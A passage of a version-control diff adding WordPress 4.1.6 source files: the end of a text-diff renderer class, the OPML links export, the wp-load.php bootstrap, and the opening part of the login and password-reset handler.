+		$orig_rows = $orig_rows_copy = array_keys($orig_matches);
+		$final_rows = array_keys($final_matches);
+
+		// Interleaves rows with blanks to keep matches aligned.
+		// We may end up with some extraneous blank rows, but we'll just ignore them later.
+		foreach ( $orig_rows_copy as $orig_row ) {
+			$final_pos = array_search($orig_matches[$orig_row], $final_rows, true);
+			$orig_pos = (int) array_search($orig_row, $orig_rows, true);
+
+			if ( false === $final_pos ) { // This orig is paired with a blank final.
+				array_splice( $final_rows, $orig_pos, 0, -1 );
+			} elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows.
+				$diff_pos = $final_pos - $orig_pos;
+				while ( $diff_pos < 0 )
+					array_splice( $final_rows, $orig_pos, 0, $diff_pos++ );
+			} elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows.
+				$diff_pos = $orig_pos - $final_pos;
+				while ( $diff_pos < 0 )
+					array_splice( $orig_rows, $orig_pos, 0, $diff_pos++ );
+			}
+		}
+
+		// Pad the ends with blank rows if the columns aren't the same length
+		$diff_count = count($orig_rows) - count($final_rows);
+		if ( $diff_count < 0 ) {
+			while ( $diff_count < 0 )
+				array_push($orig_rows, $diff_count++);
+		} elseif ( $diff_count > 0 ) {
+			$diff_count = -1 * $diff_count;
+			while ( $diff_count < 0 )
+				array_push($final_rows, $diff_count++);
+		}
+
+		return array($orig_matches, $final_matches, $orig_rows, $final_rows);
+	}
+
+	/**
+	 * Computes a number that is intended to reflect the "distance" between two strings.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $string1
+	 * @param string $string2
+	 * @return int
+	 */
+	public function compute_string_distance( $string1, $string2 ) {
+		// Vectors containing character frequency for all chars in each string
+		$chars1 = count_chars($string1);
+		$chars2 = count_chars($string2);
+
+		// L1-norm of difference vector.
+		$difference = array_sum( array_map( array($this, 'difference'), $chars1, $chars2 ) );
+
+		// $string1 has zero length? Odd. Give huge penalty by not dividing.
+		if ( !$string1 )
+			return $difference;
+
+		// Return distance per character (of string1).
+		return $difference / strlen($string1);
+	}
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param int $a
+	 * @param int $b
+	 * @return int
+	 */
+	public function difference( $a, $b ) {
+		return abs( $a - $b );
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to check if set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+}
+
+/**
+ * Better word splitting than the PEAR package provides.
+ *
+ * @since 2.6.0
+ * @uses Text_Diff_Renderer_inline Extends
+ */
+class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline {
+
+	/**
+	 * @ignore
+	 * @since 2.6.0
+	 *
+	 * @param string $string
+	 * @param string $newlineEscape
+	 * @return string
+	 */
+	public function _splitOnWords($string, $newlineEscape = "\n") {
+		$string = str_replace("\0", '', $string);
+		$words  = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE );
+		$words  = str_replace( "\n", $newlineEscape, $words );
+		return $words;
+	}
+
+}
Index: /tags/4.1.6/src/wp-links-opml.php
===================================================================
--- /tags/4.1.6/src/wp-links-opml.php	(revision 33402)
+++ /tags/4.1.6/src/wp-links-opml.php	(revision 33402)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Outputs the OPML XML format for getting the links defined in the link
+ * administration. This can be used to export links from one blog over to
+ * another. Links aren't exported by the WordPress export, so this file handles
+ * that.
+ *
+ * This file is not added by default to WordPress theme pages when outputting
+ * feed links. It will have to be added manually for browsers and users to pick
+ * up that this file exists.
+ *
+ * @package WordPress
+ */
+
+require_once( dirname( __FILE__ ) . '/wp-load.php' );
+
+header('Content-Type: text/xml; charset=' . get_option('blog_charset'), true);
+$link_cat = '';
+if ( !empty($_GET['link_cat']) ) {
+	$link_cat = $_GET['link_cat'];
+	if ( !in_array($link_cat, array('all', '0')) )
+		$link_cat = absint( (string)urldecode($link_cat) );
+}
+
+echo '<?xml version="1.0"?'.">\n";
+?>
+<opml version="1.0">
+	<head>
+		<title><?php printf( __('Links for %s'), esc_attr(get_bloginfo('name', 'display')) ); ?></title>
+		<dateCreated><?php echo gmdate("D, d M Y H:i:s"); ?> GMT</dateCreated>
+		<?php
+		/**
+		 * Fires in the OPML header.
+		 *
+		 * @since 3.0.0
+		 */
+		do_action( 'opml_head' );
+		?>
+	</head>
+	<body>
+<?php
+if ( empty($link_cat) )
+	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0));
+else
+	$cats = get_categories(array('taxonomy' => 'link_category', 'hierarchical' => 0, 'include' => $link_cat));
+
+foreach ( (array)$cats as $cat ) :
+	/**
+	 * Filter the OPML outline link category name.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $catname The OPML outline category name.
+	 */
+	$catname = apply_filters( 'link_category', $cat->name );
+
+?>
+<outline type="category" title="<?php echo esc_attr($catname); ?>">
+<?php
+	$bookmarks = get_bookmarks(array("category" => $cat->term_id));
+	foreach ( (array)$bookmarks as $bookmark ) :
+		/**
+		 * Filter the OPML outline link title text.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param string $title The OPML outline title text.
+		 */
+		$title = apply_filters( 'link_title', $bookmark->link_name );
+?>
+	<outline text="<?php echo esc_attr($title); ?>" type="link" xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>" htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>" updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated) echo $bookmark->link_updated; ?>" />
+<?php
+	endforeach; // $bookmarks
+?>
+</outline>
+<?php
+endforeach; // $cats
+?>
+</body>
+</opml>
Index: /tags/4.1.6/src/wp-load.php
===================================================================
--- /tags/4.1.6/src/wp-load.php	(revision 33402)
+++ /tags/4.1.6/src/wp-load.php	(revision 33402)
@@ -0,0 +1,73 @@
+<?php
+/**
+ * Bootstrap file for setting the ABSPATH constant
+ * and loading the wp-config.php file. The wp-config.php
+ * file will then load the wp-settings.php file, which
+ * will then set up the WordPress environment.
+ *
+ * If the wp-config.php file is not found then an error
+ * will be displayed asking the visitor to set up the
+ * wp-config.php file.
+ *
+ * Will also search for wp-config.php in WordPress' parent
+ * directory to allow the WordPress directory to remain
+ * untouched.
+ *
+ * @internal This file must be parsable by PHP4.
+ *
+ * @package WordPress
+ */
+
+/** Define ABSPATH as this file's directory */
+define( 'ABSPATH', dirname(__FILE__) . '/' );
+
+error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
+
+if ( file_exists( ABSPATH . 'wp-config.php') ) {
+
+	/** The config file resides in ABSPATH */
+	require_once( ABSPATH . 'wp-config.php' );
+
+} elseif ( file_exists( dirname(ABSPATH) . '/wp-config.php' ) && ! file_exists( dirname(ABSPATH) . '/wp-settings.php' ) ) {
+
+	/** The config file resides one level above ABSPATH but is not part of another install */
+	require_once( dirname(ABSPATH) . '/wp-config.php' );
+
+} else {
+
+	// A config file doesn't exist
+
+	define( 'WPINC', 'wp-includes' );
+	require_once( ABSPATH . WPINC . '/load.php' );
+
+	// Standardize $_SERVER variables across setups.
+	wp_fix_server_vars();
+
+	require_once( ABSPATH . WPINC . '/functions.php' );
+
+	$path = wp_guess_url() . '/wp-admin/setup-config.php';
+
+	/*
+	 * We're going to redirect to setup-config.php. While this shouldn't result
+	 * in an infinite loop, that's a silly thing to assume, don't you think? If
+	 * we're traveling in circles, our last-ditch effort is "Need more help?"
+	 */
+	if ( false === strpos( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
+		header( 'Location: ' . $path );
+		exit;
+	}
+
+	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+	require_once( ABSPATH . WPINC . '/version.php' );
+
+	wp_check_php_mysql_versions();
+	wp_load_translations_early();
+
+	// Die with an error message
+	$die  = __( "There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started." ) . '</p>';
+	$die .= '<p>' . __( "Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>." ) . '</p>';
+	$die .= '<p>' . __( "You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ) . '</p>';
+	$die .= '<p><a href="' . $path . '" class="button button-large">' . __( "Create a Configuration File" ) . '</a>';
+
+	wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
+}
Index: /tags/4.1.6/src/wp-login.php
===================================================================
--- /tags/4.1.6/src/wp-login.php	(revision 33402)
+++ /tags/4.1.6/src/wp-login.php	(revision 33402)
@@ -0,0 +1,961 @@
+<?php
+/**
+ * WordPress User Page
+ *
+ * Handles authentication, registering, resetting passwords, forgot password,
+ * and other user handling.
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+// Redirect to https login if forced to use SSL
+if ( force_ssl_admin() && ! is_ssl() ) {
+	if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
+		wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+		exit();
+	} else {
+		wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+		exit();
+	}
+}
+
+/**
+ * Output the login page header.
+ *
+ * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
+ *                           Default 'Log In'.
+ * @param string   $message  Optional. Message to display in header. Default empty.
+ * @param WP_Error $wp_error Optional. The error to pass. Default empty.
+ */
+function login_header( $title = 'Log In', $message = '', $wp_error = '' ) {
+	global $error, $interim_login, $action;
+
+	// Don't index any of these forms
+	add_action( 'login_head', 'wp_no_robots' );
+
+	if ( wp_is_mobile() )
+		add_action( 'login_head', 'wp_login_viewport_meta' );
+
+	if ( empty($wp_error) )
+		$wp_error = new WP_Error();
+
+	// Shake it!
+	$shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password' );
+	/**
+	 * Filter the error codes array for shaking the login form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $shake_error_codes Error codes that shake the login form.
+	 */
+	$shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
+
+	if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
+		add_action( 'login_head', 'wp_shake_js', 12 );
+
+	?><!DOCTYPE html>
+	<!--[if IE 8]>
+		<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php language_attributes(); ?>>
+	<![endif]-->
+	<!--[if !(IE 8) ]><!-->
+		<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+	<!--<![endif]-->
+	<head>
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+	<title><?php bloginfo('name'); ?> &rsaquo; <?php echo $title; ?></title>
+	<?php
+
+	wp_admin_css( 'login', true );
+
+	/*
+	 * Remove all stored post data on logging out.
+	 * This could be added by add_action('login_head'...) like wp_shake_js(),
+	 * but maybe better if it's not removable by plugins
+	 */
+	if ( 'loggedout' == $wp_error->get_error_code() ) {
+		?>
+		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
+		<?php
+	}
+
+	/**
+	 * Enqueue scripts and styles for the login page.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'login_enqueue_scripts' );
+	/**
+	 * Fires in the login page header after scripts are enqueued.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'login_head' );
+
+	if ( is_multisite() ) {
+		$login_header_url   = network_home_url();
+		$login_header_title = get_current_site()->site_name;
+	} else {
+		$login_header_url   = __( 'https://wordpress.org/' );
+		$login_header_title = __( 'Powered by WordPress' );
+	}
+
+	/**
+	 * Filter link URL of the header logo above login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $login_header_url Login header logo URL.
+	 */
+	$login_header_url = apply_filters( 'login_headerurl', $login_header_url );
+	/**
+	 * Filter the title attribute of the header logo above login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $login_header_title Login header logo title attribute.
+	 */
+	$login_header_title = apply_filters( 'login_headertitle', $login_header_title );
+
+	$classes = array( 'login-action-' . $action, 'wp-core-ui' );
+	if ( wp_is_mobile() )
+		$classes[] = 'mobile';
+	if ( is_rtl() )
+		$classes[] = 'rtl';
+	if ( $interim_login ) {
+		$classes[] = 'interim-login';
+		?>
+		<style type="text/css">html{background-color: transparent;}</style>
+		<?php
+
+		if ( 'success' ===  $interim_login )
+			$classes[] = 'interim-login-success';
+	}
+	$classes[] =' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
+
+	/**
+	 * Filter the login page body classes.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array  $classes An array of body classes.
+	 * @param string $action  The action that brought the visitor to the login page.
+	 */
+	$classes = apply_filters( 'login_body_class', $classes, $action );
+
+	?>
+	</head>
+	<body class="login <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
+	<div id="login">
+		<h1><a href="<?php echo esc_url( $login_header_url ); ?>" title="<?php echo esc_attr( $login_header_title ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+	<?php
+
+	unset( $login_header_url, $login_header_title );
+
+	/**
+	 * Filter the message to display above the login form.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $message Login message text.
+	 */
+	$message = apply_filters( 'login_message', $message );
+	if ( !empty( $message ) )
+		echo $message . "\n";
+
+	// In case a plugin uses $error rather than the $wp_errors object
+	if ( !empty( $error ) ) {
+		$wp_error->add('error', $error);
+		unset($error);
+	}
+
+	if ( $wp_error->get_error_code() ) {
+		$errors = '';
+		$messages = '';
+		foreach ( $wp_error->get_error_codes() as $code ) {
+			$severity = $wp_error->get_error_data( $code );
+			foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
+				if ( 'message' == $severity )
+					$messages .= '	' . $error_message . "<br />\n";
+				else
+					$errors .= '	' . $error_message . "<br />\n";
+			}
+		}
+		if ( ! empty( $errors ) ) {
+			/**
+			 * Filter the error messages displayed above the login form.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string $errors Login error message.
+			 */
+			echo '<div id="login_error">' . apply_filters( 'login_errors', $errors ) . "</div>\n";
+		}
+		if ( ! empty( $messages ) ) {
+			/**
+			 * Filter instructional messages displayed above the login form.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $messages Login messages.
+			 */
+			echo '<p class="message">' . apply_filters( 'login_messages', $messages ) . "</p>\n";
+		}
+	}
+} // End of login_header()
+
+/**
+ * Outputs the footer for the login page.
+ *
+ * @param string $input_id Which input to auto-focus
+ */
+function login_footer($input_id = '') {
+	global $interim_login;
+
+	// Don't allow interim logins to navigate away from the page.
+	if ( ! $interim_login ): ?>
+	<p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php esc_attr_e( 'Are you lost?' ); ?>"><?php printf( __( '&larr; Back to %s' ), get_bloginfo( 'title', 'display' ) ); ?></a></p>
+	<?php endif; ?>
+
+	</div>
+
+	<?php if ( !empty($input_id) ) : ?>
+	<script type="text/javascript">
+	try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
+	if(typeof wpOnload=='function')wpOnload();
+	</script>
+	<?php endif; ?>
+
+	<?php
+	/**
+	 * Fires in the login page footer.
+	 *
+	 * @since 3.1.0
+	 */
+	do_action( 'login_footer' ); ?>
+	<div class="clear"></div>
+	</body>
+	</html>
+	<?php
+}
+
+function wp_shake_js() {
+	if ( wp_is_mobile() )
+		return;
+?>
+<script type="text/javascript">
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+function s(id,pos){g(id).left=pos+'px';}
+function g(id){return document.getElementById(id).style;}
+function shake(id,a,d){c=a.shift();s(id,c);if(a.length>0){setTimeout(function(){shake(id,a,d);},d);}else{try{g(id).position='static';wp_attempt_focus();}catch(e){}}}
+addLoadEvent(function(){ var p=new Array(15,30,15,0,-15,-30,-15,0);p=p.concat(p.concat(p));var i=document.forms[0].id;g(i).position='relative';shake(i,p,20);});
+</script>
+<?php
+}
+
+function wp_login_viewport_meta() {
+	?>
+	<meta name="viewport" content="width=device-width" />
+	<?php
+}
+
+/**
+ * Handles sending password retrieval email to user.
+ *
+ * @global wpdb         $wpdb      WordPress database abstraction object.
+ * @global PasswordHash $wp_hasher Portable PHP password hashing framework.
+ *
+ * @return bool|WP_Error True: when finish. WP_Error on error
+ */
+function retrieve_password() {
+	global $wpdb, $wp_hasher;
+
+	$errors = new WP_Error();
+
+	if ( empty( $_POST['user_login'] ) ) {
+		$errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or e-mail address.'));
+	} else if ( strpos( $_POST['user_login'], '@' ) ) {
+		$user_data = get_user_by( 'email', trim( $_POST['user_login'] ) );
+		if ( empty( $user_data ) )
+			$errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
+	} else {
+		$login = trim($_POST['user_login']);
+		$user_data = get_user_by('login', $login);
+	}
+
+	/**
+	 * Fires before errors are returned from a password reset request.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'lostpassword_post' );
+
+	if ( $errors->get_error_code() )
+		return $errors;
+
+	if ( !$user_data ) {
+		$errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or e-mail.'));
+		return $errors;
+	}
+
+	// Redefining user_login ensures we return the right case in the email.
+	$user_login = $user_data->user_login;
+	$user_email = $user_data->user_email;
+
+	/**
+	 * Fires before a new password is retrieved.
+	 *
+	 * @since 1.5.0
+	 * @deprecated 1.5.1 Misspelled. Use 'retrieve_password' hook instead.
+	 *
+	 * @param string $user_login The user login name.
+	 */
+	do_action( 'retreive_password', $user_login );
+
+	/**
+	 * Fires before a new password is retrieved.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $user_login The user login name.
+	 */
+	do_action( 'retrieve_password', $user_login );
+
+	/**
+	 * Filter whether to allow a password to be reset.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param bool true           Whether to allow the password to be reset. Default true.
+	 * @param int  $user_data->ID The ID of the user attempting to reset a password.
+	 */
+	$allow = apply_filters( 'allow_password_reset', true, $user_data->ID );
+
+	if ( ! $allow )
+		return new WP_Error('no_password_reset', __('Password reset is not allowed for this user'));
+	else if ( is_wp_error($allow) )
+		return $allow;
+
+	// Generate something random for a password reset key.
+	$key = wp_generate_password( 20, false );
+
+	/**
+	 * Fires when a password reset key is generated.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $user_login The username for the user.
+	 * @param string $key        The generated password reset key.
+	 */
+	do_action( 'retrieve_password_key', $user_login, $key );
+
+	// Now insert the key, hashed, into the DB.
+	if ( empty( $wp_hasher ) ) {
+		require_once ABSPATH . WPINC . '/class-phpass.php';
+		$wp_hasher = new PasswordHash( 8, true );
+	}
+	$hashed = $wp_hasher->HashPassword( $key );
+	$wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user_login ) );
+
+	$message = __('Someone requested that the password be reset for the following account:') . "\r\n\r\n";
+	$message .= network_home_url( '/' ) . "\r\n\r\n";
+	$message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
+	$message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
+	$message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
+	$message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";
+
+	if ( is_multisite() )
+		$blogname = $GLOBALS['current_site']->site_name;
+	else
+		/*
+		 * The blogname option is escaped with esc_html on the way into the database
+		 * in sanitize_option we want to reverse this for the plain text arena of emails.
+		 */
+		$blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
+
+	$title = sprintf( __('[%s] Password Reset'), $blogname );
+
+	/**
+	 * Filter the subject of the password reset email.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $title Default email title.
+	 */
+	$title = apply_filters( 'retrieve_password_title', $title );
+
+	/**
+	 * Filter the message body of the password reset mail.
+	 *
+	 * @since 2.8.0
+	 * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
+	 *
+	 * @param string  $message    Default mail message.
+	 * @param string  $key        The activation key.
+	 * @param string  $user_login The username for the user.
+	 * @param WP_User $user_data  WP_User object.
+	 */
+	$message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );
+
+	if ( $message && !wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) )
+		wp_die( __('The e-mail could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );
+
+	return true;
+}
+
+//
+// Main
+//
+
+$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
+$errors = new WP_Error();
+
+if ( isset($_GET['key']) )
+	$action = 'resetpass';
+
+// validate action so as to default to the login screen
+if ( !in_array( $action, array( 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login' ), true ) && false === has_filter( 'login_form_' . $action ) )
+	$action = 'login';
+
+nocache_headers();
+
+header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset'));
+
+if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set
+	if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) )
+		$_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
+
+	$url = dirname( set_url_scheme( 'http://' .  $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );
+	if ( $url != get_option( 'siteurl' ) )
+		update_option( 'siteurl', $url );
+}
+
+//Set a cookie now to see if they are supported by the browser.
+$secure = ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) && 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );
+setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );
+if ( SITECOOKIEPATH != COOKIEPATH )
+	setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
+
+/**
+ * Fires when the login form is initialized.
+ *
+ * @since 3.2.0
+ */
+do_action( 'login_init' );
+/**
+ * Fires before a specified login form action.
+ *
+ * The dynamic portion of the hook name, `$action`, refers to the action
+ * that brought the visitor to the login form. Actions include 'postpass',
+ * 'logout', 'lostpassword', etc.
+ *
+ * @since 2.8.0
+ */
+do_action( 'login_form_' . $action );
+
+$http_post = ('POST' == $_SERVER['REQUEST_METHOD']);
+$interim_login = isset($_REQUEST['interim-login']);
+
+switch ($action) {
+
+case 'postpass' :
+	require_once ABSPATH . WPINC . '/class-phpass.php';
+	$hasher = new PasswordHash( 8, true );
+
+	/**
+	 * Filter the life span of the post password cookie.
+	 *
+	 * By default, the cookie expires 10 days from creation. To turn this
+	 * into a session cookie, return 0.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param int $expires The expiry time, as passed to setcookie().
+	 */
+	$expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
+	$secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );
+	setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
+
+	wp_safe_redirect( wp_get_referer() );
+	exit();
+
+case 'logout' :
+	check_admin_referer('log-out');
+	wp_logout();
+
+	$redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?loggedout=true';
+	wp_safe_redirect( $redirect_to );
+	exit();
+
+case 'lostpassword' :
+case 'retrievepassword' :
+
+	if ( $http_post ) {
+		$errors = retrieve_password();
+		if ( !is_wp_error($errors) ) {
+			$redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
+			wp_safe_redirect( $redirect_to );
+			exit();
+		}
+	}
+
+	if ( isset( $_GET['error'] ) ) {
+		if ( 'invalidkey' == $_GET['error'] )
+			$errors->add( 'invalidkey', __( 'Sorry, that key does not appear to be valid.' ) );
+		elseif ( 'expiredkey' == $_GET['error'] )
+			$errors->add( 'expiredkey', __( 'Sorry, that key has expired. Please try again.' ) );
+	}
+
+	$lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filter the URL redirected to after submitting the lostpassword/retrievepassword form.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $lostpassword_redirect The redirect destination URL.
+	 */
+	$redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
+
+	/**
+	 * Fires before the lost password form.
+	 *
+	 * @since 1.5.1
+	 */
+	do_action( 'lost_password' );
+
+	login_header(__('Lost Password'), '<p class="message">' . __('Please enter your username or email address. You will receive a link to create a new password via email.') . '</p>', $errors);
+
+	$user_login = isset($_POST['user_login']) ? wp_unslash($_POST['user_login']) : '';
+
+?>
+
+<form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
+	<p>
+		<label for="user_login" ><?php _e('Username or E-mail:') ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires inside the lostpassword form tags, before the hidden fields.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'lostpassword_form' ); ?>
+	<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Get New Password'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e('Log in') ?></a>
+<?php
+if ( get_option( 'users_can_register' ) ) :
+	$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+	/** This filter is documented in wp-includes/general-template.php */
+	echo ' | ' . apply_filters( 'register', $registration_url );
+endif;
+?>
+</p>
+
+<?php
+login_footer('user_login');
+break;
+
+case 'resetpass' :
+case 'rp' :
+	list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
+	$rp_cookie = 'wp-resetpass-' . COOKIEHASH;
+	if ( isset( $_GET['key'] ) ) {
+		$value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
+		setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
+		exit;
+	}
+
+	if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
+		list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );
+		$user = check_password_reset_key( $rp_key, $rp_login );
+		if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
+			$user = false;
+		}
+	} else {
+		$user = false;
+	}
+
+	if ( ! $user || is_wp_error( $user ) ) {
+		setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		if ( $user && $user->get_error_code() === 'expired_key' )
+			wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
+		else
+			wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
+		exit;
+	}
+
+	$errors = new WP_Error();
+
+	if ( isset($_POST['pass1']) && $_POST['pass1'] != $_POST['pass2'] )
+		$errors->add( 'password_reset_mismatch', __( 'The passwords do not match.' ) );
+
+	/**
+	 * Fires before the password reset procedure is validated.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param object           $errors WP Error object.
+	 * @param WP_User|WP_Error $user   WP_User object if the login and reset key match. WP_Error object otherwise.
+	 */
